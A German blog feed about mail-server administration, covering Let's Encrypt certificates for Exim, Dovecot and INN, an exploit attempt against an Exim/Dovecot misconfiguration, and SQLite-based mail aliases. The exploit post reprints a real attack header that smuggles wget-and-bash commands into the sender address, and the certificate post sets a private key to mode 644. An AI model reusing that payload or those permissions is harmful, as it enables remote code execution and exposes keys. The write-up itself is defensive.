Netz - Rettung - Recht (Artikel mit Tag dovecot)

letsencrypt jenseits des Webservers

nospam@example.com (Thomas Hochstein) — Tue, 30 Aug 2016 14:30:00 +0000

Vor einigen Monaten hatte ich über letsencrypt, die neue Zertifizierungsstelle für TLS-Zertifikate, berichtet und demletzt meine guten Erfahrungen damit dargestellt. Doch HTTP ist ja nicht das einzige Protokoll, das einer Absicherung bedarf. Wie sieht es mit TLS-Zertifikaten für Mail (SMTP und POP3 oder IMAP) und News (NNTP) oder noch andere Dienste aus?

Grundsätzlich ist das kein Problem: vorhandene Zertifikate mit dem (oder den) passenden Hostnamen müssen nur eingebunden werden.

In der Folge stelle ich die Vorgehensweise ausgehend von einem Debian-Jessie-System aus vor.

Erhalt des Zertifikats

Am einfachsten ist das, wenn unter jedem Hostnamen auch ein Webserver erreichbar ist; dann kann nämlich einfach das webroot-Plugin verwendet werden. Ist das nicht der Fall, kommen bspw. das manual-Plugin oder das external-Plugin in Betracht.

Installation des Zertifikats

Das bereits - für den Webserver - vorhandene oder neu erhaltene Zertifikat und der zugehörige Schlüssel ( Key), die üblicherweise im Verzeichnis /etc/letsencrypt/live/domain.example/ liegen, können nun eingebunden werden - entweder das Zertifikat und die ganze Zertifikatskette mit allen Zwischenzertifikaten zusammen in einer Datei (fullchain.pem), oder das Zertifikat (cert.pem) und die Zwischenzertifikate (chain.pem) getrennt, je nachdem, was die Applikation unterstützt.

Nicht immer ist es aber ohne weiteres möglich, unmittelbar auf die Dateien in /etc/letsencrypt/live/domain.example/ zuzugreifen, die root:root gehören und aufgrund der Verzeichnisrechte auch nur für root lesbar sind. Manche Programme (bspw. der Mailserver Exim) greifen nämlich auf die Zertifikate zu einem Zeitpunkt zu, zu dem sie bereits keine Root-Rechte mehr haben; und es erscheint wenig tunlich, sie in die Gruppe root aufzunehmen oder gar Zertifikat und Key weltweit lesbar zu machen. Andere Programme wiederum haben ausgesprochen strikte Vorstellungen darüber, welchem Benutzer und/oder welcher Gruppe die Dateien “gehören” müssen und wie die Zugriffsrechte auszusehen haben (so z.B. der Newsserver INN, der erwartet, dass der Key ausschließlich für den User news lesbar ist). In diesen Fällen wird es m.E. unausweichlich sein, Kopien der Zertifikate und des Keys mit den passenden Rechten anzulegen.

Dovecot

Der POP3- und IMAP-Server Dovecot greift als root auf die Zertifikate zu und kann - jedenfalls in seiner in Debian Jessie enthaltenen Version 2.2.13 - die Zertifikatskette (fullchain.pem) verarbeiten. Es genügt also, Zertifikat und Key einzubinden und die Serverkonfiguration neu einzulesen (service dovecot reload).

Exim

Anders sieht es mit dem SMTP-Server Exim aus. Dieser gibt seine Root-Rechte auf, bevor er auf die TLS-Zertifikate zugreift. Immerhin kommt auch er mit fullchain.pem klar.

Eine Möglichkeit ist es, Zertifikat und Key in ein passendes Verzeichnis zu kopieren und dann Eigentümer und Rechte (644!) anzupassen, bspw. so:

cd /etc/exim4
mkdir certs 
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 restart
chown Debian-exim:Debian-exim /etc/exim4/certs/
chown Debian-exim:Debian-exim /etc/exim4/certs/*
chmod 644 /etc/exim4/certs/*

Ein solches Vorgehen wird dann auch bei jeder Erneuerung der Zertifikate erforderlich (s.u.)!

Danach genügt es, die Serverkonfiguration neu zu laden (service exim4 reload) und sich dann zu Testzwecken auf Port 25 zu verbinden und nach dem EHLO ein STARTTLS abzusetzen.

INN

INN stellt - jedenfalls in der in Debian Jessie enthaltenen Version 2.5.4 - ganz besondere Ansprüche: jedenfalls der Key muss für den Benutzer news lesbar sein, und er benötigt cert.pem und chain.pem getrennt.

Umsetzen könnte man das bspw. so:

cd /etc/news
mkdir certs 
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs/
chown news:news /etc/news/certs/*
chmod 600 /etc/news/certs/*

Auch hier muss man dieses Vorgehen für eine Erneuerung der Zertifikate im Blick behalten (s.u.).

Ein Einlesen der inn.conf später (service inn2 restart) sollte dann alles funktionieren wie geplant.

Zertifikat-Updates

Die nunmehr im Dateisystem verstreuten Zertifikatskopien müssen nach jeder Erneuerung des Zertifikats gleichfalls erneuert werden, damit nicht ein ungültiges Zertifikat ausgeliefert wird. Sinnvollerweise geschieht das ebenso automatisiert wie die Erneuerung des Zertifikats; hilfreich dabei die Möglichkeit, letsencrypt (bzw. certbot) mittels --post-hook nach einem Zertifikatsaustausch ein Script ablaufen zu lassen.

Exim

Man könnte sich daher bspw. eine Datei /usr/local/bin/certbot-exim4-renew.sh mit folgendem Inhalt anlegen:

#!/bin/dash
cp /etc/letsencrypt/live/domain.example/fullchain.pem /etc/exim4/certs/
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/exim4/certs/
service exim4 reload

Dazu passt dann ein Cron-Eintrag der folgenden Art:

certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-exim4-renew.sh

Damit wird versucht, das Zertifikat für diesen Hostnamen (domain.example) zu erneuern, jedoch nur, wenn es der Erneuerung bedürftig ist.

Der Aufruf sollte in der Crontab zeitlich vor dem allgemeinen Aufruf certbot renew --quiet erfolgen, damit erst das spezielle Zertifikat aktualisiert (und ggf. umkopiert) wird und danach die übrigen.

INN

Für den INN sähe diese Lösung analog mit einer Datei /usr/local/bin/certbot-inn2-renew.sh so aus:

#!/bin/dash
cp /etc/letsencrypt/live/domain.example/cert.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/chain.pem /etc/news/certs
cp /etc/letsencrypt/live/domain.example/privkey.pem /etc/news/certs
cd /etc/news/certs
chown news:news *.pem
chmod 600 *.pem
service inn2 reload

Der Cron-Eintrag wäre dann entsprechend:

certbot certonly --quiet -n --webroot -w /var/www/domain.example -d domain.example --keep-until-expiring --post-hook /usr/local/bin/certbot-inn2-renew.sh

Auch dieser Eintrag muss zeitlich vor dem allgemeinen Aufruf certbot renew --quiet liegen.

Und ihr?

So richtig optimal erscheinen mir diese Lösungen noch nicht. Gibt es bessere Ideen? Andere Erfahrungen?

Nutzt ihr letsencrypt noch für andere Dienste als die oben genannten?

An Euren Erfahrungen und Lösungen wäre ich interessiert und freue mich daher über Kommentare, Hinweise und Ergänzungen.

Vom Advisory zum Exploit binnen eines Tages

nospam@example.com (Thomas Hochstein) — Sun, 05 May 2013 09:29:00 +0000

Am Freitag, dem dritten Mai, wurde ein Warnhinweis (Advisory) auf eine weit verbreitete Fehlkonfiguration in der Kombination von Exim mit Dovecot publiziert: ein offenbar seit 23.10.2009 im Dovecot-Wiki veröffentliches Konfigurationsbeispiel für Exim, mit dem eingehende E-Mails durch den zu Dovecot gehörenden LDA deliver ausgeliefert werden sollen, enthielt auch die Option "use_shell", die dazu führt, dass der Aufruf insgesamt zur Ausführung an die Shell weitergegeben wird. Das is potentiell unsicher, wie auch die Exim-Dokumentation erläutert:

Not running the command under a shell (by default) lessens the security risks in cases when a command from a user’s filter file is built out of data that was taken from an incoming message. If a shell is required, it can of course be explicitly specified as the command to be run. However, there are circumstances where existing commands (for example, in .forward files) expect to be run under a shell and cannot easily be modified. To allow for these cases, there is an option called use_shell, which changes the way the pipe transport works. Instead of breaking up the command line as just described, it expands it as a single string and passes the result to /bin/sh. The restrict_to_path option and the $pipe_addresses facility cannot be used with use_shell, and the whole mechanism is inherently less secure.

Wenn es jemandem gelingt, ausführbaren Code in diesen Aufruf einzuschleusen, kann er fremden Code mit den Rechten von Exim ausführen, die im Moment der Auslieferung von Mail mit dem LDA deliver bestenfalls Zugriff auf alle Mailboxen ermöglichen und bei leichtsinniger Konfiguration - die im Dovecot-Wiki als eine Konfigurationsmöglichkeit ausdrücklich genannt wird! - schlimmstenfalls sogar root sind. Und dieses Einschleusen ist ausgesprochen einfach, enthält der Aufruf von deliver doch u.a. den Absender der E-Mail, den sog. Envelope-From (oder auch Return-Path), bspw. so: command = /usr/local/libexec/dovecot/dovecot-lda -d $local_part@$domain -f $sender_address

$sender_address ist hier der problematische Parameter, denn diesen Parameter kann der Absender der E-Mail frei setzen. Durch die Option use_shell wird der obige Aufruf nach Ersatz der Variablen ohne jede Modifikation komplett an die Shell übergeben und ggf. entsprechender Code ausgeführt.

Am 02.05.2013 wurde das Beispiel im Wiki für Dovecot 1.x und auch in der Dokumentation für Dovecot 2.x berichtigt, am 03.05.2013 wurde das Advisoy veröffentlicht.

Und schon am Abend des Folgetages flog mir auf einem meiner Server folgende - ansonsten notwendige Header und vor allen auch einen Inhalt nicht enthaltende - E-Mail zu, die das Beispiel für einen Exploit aus dem Advisory abgewandelt übernommen hat:

Return-path: <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>
Envelope-to: postmaster@greenmeadow.szaf.org
Delivery-date: Sat, 04 May 2013 21:57:19 +0200
Received: from [178.218.211.118] (helo=abcde.com)
    by greenmeadow.szaf.org with esmtp (Exim 4.72)
    (envelope-from <red`wget${IFS}178.218.211.118/b${IFS}-O${IFS}/tmp/a.pl“bash${IFS}/tmp/a.pl`team@example.com>)
    id 1UYia4-000387-Es
    for postmaster@greenmeadow.szaf.org; Sat, 04 May 2013 21:57:19 +0200
Subject: test

Die oben gezeigte problematische Konfiguration würde dann dazu führen, dass bei der Auslieferung der Mail die beiden folgenden Befehle mit den Rechten des Mailservers ausgeführt würden:

wget 178.218.211.118/b -O /tmp/a.pl
bash /tmp/a.pl

Es würde also die Datei b von der Maschine heruntergeladen und in der Datei a.pl im Verzeichnis /tmp gespeichert und dann ausgeführt.

Glücklicherweise verwende ich zwar sowohl Exim als auch Dovecot, aber in einer anderen Konfiguration, so dass dieser Versuch eines Exploits kein Problem darstellte, aber man merkt einmal wieder, wie schnell nach der Veröffentlichung von Advisories man von solchen Versuchen, bestehende Programm- oder Konfigurationsfehler auszunutzen, betroffen wird.

(Als ich mich damit näher beschäftigt habe, war die o.g. Datei übrigens bereits nicht mehr aufrufbar.)

Personalisierte Mailadressen

nospam@example.com (Thomas Hochstein) — Sun, 08 Nov 2009 21:04:00 +0000

Schon seit vielen Jahren verwende ich eine Subdomain zur Vergabe von personalisierten E-Mail-Adressen, die ich dann für Zwecke verwenden kann, bei denen ich meine normale E-Mail-Adresse nicht preisgeben möchte, bspw. das Abonnieren von Newslettern, an deren Seriösität ich Zweifel habe, für Webshops etc. pp. Das hat den Vorteil, daß sich über diese personalisierten E-Mail-Adressen nachvollziehen läßt, aus welcher Quelle bspw. Spammer ihre Adressen bezogen haben, und, viel wichtiger, daß sich diese Adressen rückstandslos entsorgen lassen, wenn sie missbraucht werden. Insgesamt eine gute Idee; die Frage ist immer nur, wie man sich diese Adressen erzeugt.

Meine erste Lösung war ein Catch-All, was aber den Zweck der Übung letztlich konterkarierte, weil man auf diese Weise eine unbegrenzte Anzahl valider E-Mail-Adressen erzeugt und Spam potentiell potenziert. Zwar kann man bestimmte Adressen selektiv deaktivieren, bspw. über eine Aliases-Datei, in der sie explizit geerdet werden und ein Catch-All als Fallback für nicht explizit definierte Adressen verwendet wird, aber Spammer permutieren Adressen gerne; wenn man abashop@domain.example deaktiviert, bekommt man stattdessen vielleicht Mail an abasho@domain.example und an abash@domain.example und an … So hat sich das nicht bewährt.

Also habe ich die Adressen stattdessen in einer Aliases-Datei explizit definiert (und für eine Übergangszeit doch einen Catch-All als Fallback verwendet, für den Fall, daß ich eine bereits verwendete Adresse vergessen hatte …). Das tat etliche Jahre seinen Zweck, hatte aber den Nachteil, daß ich mich für Änderungen immer erst auf dem entsprechenden Host einloggen und die Datei ändern mußte. Unbequem und, wenn man gerade unterwegs ist und nur Webzugriff hat, erst gar nicht möglich. Also habe ich reichlich oft doch meine Hauptadresse für diverse Anmeldungen verwendet; diesen Nachteil gab es bei der Verwendung des Catch-All nicht.

Die Lösung wäre - so war mir ebenfalls seit langer Zeit klar - die Verwendung eines bequemen, nach Möglichkeit webbasierten Interfaces zur Anlage neuer solcher Adressen, damit der innere Schweinehund nicht mehr dazwischenkommen kann. Und diese Lösung habe ich jetzt endlich umgesetzt. Zumindest provisorisch, aber das wird vermutlich wieder so ein langlebiges Provisorium werden …

Der richtige Weg ist eigentlich ganz einfach: eine Weboberfläche, mit der man Mailadressen anlegen, ändern und löschen kann, dazu eine Datenbank, in der sie gespeichert werden, und eine Änderung in der Exim-Konfiguration, damit der Mailserver auf diese Datenbank zugreift. Bereits Ende 2007/Anfang 2008 habe ich das für das "Szafshosting" gelöst; auf diese Lösung konnte ich jetzt für mich aufsetzen. Allerdings habe ich mich - aus mir mittlerweile selbst unklaren Gründen - entschlossen, als Datenbank diesmal nicht mySQL, sondern SQLite zu verwenden, was zu weniger amüsanten Abstechern zu den verschiedenen SQLite-Versionen führte: mit der einen kann Exim nicht umgehen (dort wird SQLite 3.x benötigt), die andere wird von PHP nicht nativ unterstützt (da geht es nämlich um SQLite 2.x). *tiefseufz* Die Lösung war dann, den Zugriff in PHP noch einmal neu mittels PHP Data Objects (PDO) zu implementieren; auf diese Weise wird nämlich auch SQLite 3.x unterstützt.

Die Datenbank für die Mailadressen sieht recht einfach aus:

CREATE TABLE addresses (keyid INTEGER PRIMARY KEY ASC, domain TEXT, mail TEXT, comment TEXT);

Dort werden dann Mailadressen - auch unter verschiedenen Domains - abgelegt. Exim wird dann mitgeteilt, in welchen Domains Adressen via SQLite vergeben werden, und für diese Adressen ein entsprechender Router angelegt:

sqlite_aliases:
  driver = redirect
  domains = /etc/exim/domains-sqlite
  require_files = /etc/exim/sqlite-address.db
  data = ${lookup sqlite {/etc/exim/sqlite-address.db \
         select target from addresses \
         where mail='${quote_sqlite:$local_part}' \
         and domain='${quote_sqlite:$domain}';}}
  user = exim
  check_ancestor
  file_transport = address_file
  pipe_transport = address_pipe

Wenn man einmal dabei ist, kann man in ähnlicher Weise auch "virtuelle Mailboxen" als Maildir im Home des jeweiligen Users unterstützen. Die zugehörige SQLite-Datenbank sieht so aus:

CREATE TABLE mailuser (keyid INTEGER PRIMARY KEY ASC, username TEXT, password TEXT, uid TEXT);

Der zuständige Router in Exim für diese "virtuellen Mailboxen", implementiert als lokal zustellbare Adresse, sieht folgendermaßen aus:

 sqlite_user:
   driver = accept
   domains = +hostname
   local_parts = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select username from mailuser \
          where username='${quote_sqlite:$local_part}' }}
   address_data = ${lookup sqlite {/etc/exim/sqlite-mailboxes.db \
          select uid from mailuser \
          where username='${quote_sqlite:$local_part}' }}
   transport = sqlite_delivery
   cannot_route_message = Unknown user

Und so sieht der zugehörige Transport aus:

sqlite_delivery:
  driver = appendfile
  maildir_format = true
  directory = /home/$address_data/mailstore/$local_part
  delivery_date_add
  envelope_to_add
  return_path_add
  user = $address_data
  group = users
  mode = 0660

Abfragen muß man die Mailboxen natürlich auch; als POP3-/IMAP-Server verwende ich Dovecot. Dort wird folgendes in der Konfiguration ergänzt:

 passdb sql {
   # Path for SQL configuration file, see /etc/dovecot/dovecot-sql.conf for example
   args = /etc/dovecot/sqlite.conf
 }

Und die Datei /etc/dovecot/sqlite.conf sieht so aus (ohne Zeilenumbrüche):

driver = sqlite
connect = /etc/exim/sqlite-mailboxes.db
default_pass_scheme = PLAIN
password_query = SELECT username as user, password, '/home/' || uid || '/mailstore/' || username AS userdb_home,'maildir:/home/' || uid || '/mailstore/' || username AS userdb_mail, uid AS userdb_uid, 100 AS userdb_gid FROM mailuser WHERE username = '%u'

Und siehe da: es tut.